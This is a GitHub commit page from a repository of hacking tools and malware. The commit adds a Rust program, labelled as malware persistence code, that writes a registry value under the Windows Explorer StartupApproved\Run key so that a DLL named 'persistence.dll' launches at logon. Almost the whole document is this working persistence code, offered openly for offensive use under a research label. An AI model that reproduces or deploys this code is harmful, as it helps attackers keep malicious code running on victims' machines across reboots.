This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Create StartupApproved.rs
Abdul Wahab Junaid4869914411b7
diff --git a/Rust for Hacking/Persistence/StartupApproved.rs b/Rust for Hacking/Persistence/StartupApproved.rsnew file mode 100644index 0000000..999a715--- /dev/null+++ b/Rust for Hacking/Persistence/StartupApproved.rs@@ -0,0 +1,55 @@+/*+ Malware Persistence through StartupApproved API+ Credits to cocomelonc+ @5mukx+*/++use std::ptr::null_mut;+use std::ffi::CString;+use winapi::shared::winerror::ERROR_SUCCESS;+use winapi::um::winnt::{KEY_WRITE, REG_BINARY};+use winapi::um::winreg::{RegCloseKey, RegOpenKeyExA, RegSetValueExA, HKEY_CURRENT_USER};+use winapi::shared::minwindef::HKEY__;++fn main(){+ unsafe{+ let data: [u8; 12] = [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00];++ let path = CString::new("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run").unwrap();+ let dll_path = CString::new("persistence.dll").unwrap();++ let mut hkey: *mut HKEY__ = null_mut();+ let res = RegOpenKeyExA(+ HKEY_CURRENT_USER,+ path.as_ptr(),+ 0,+ KEY_WRITE,+ &mut hkey+ );++ if res != ERROR_SUCCESS.try_into().unwrap() {+ println!("failed to open registry key :(");+ return;+ } else {+ println!("successfully opened registry key :)");+ }++ let res = RegSetValueExA(+ hkey,+ dll_path.as_ptr(),+ 0,+ REG_BINARY,+ data.as_ptr(),+ data.len() as u32+ );+++ if res != ERROR_SUCCESS.try_into().unwrap(){+ println!("Failed to set registry value ");+ } else {+ println!("Successfully set registry value");+ }++ RegCloseKey(hkey);+ }+}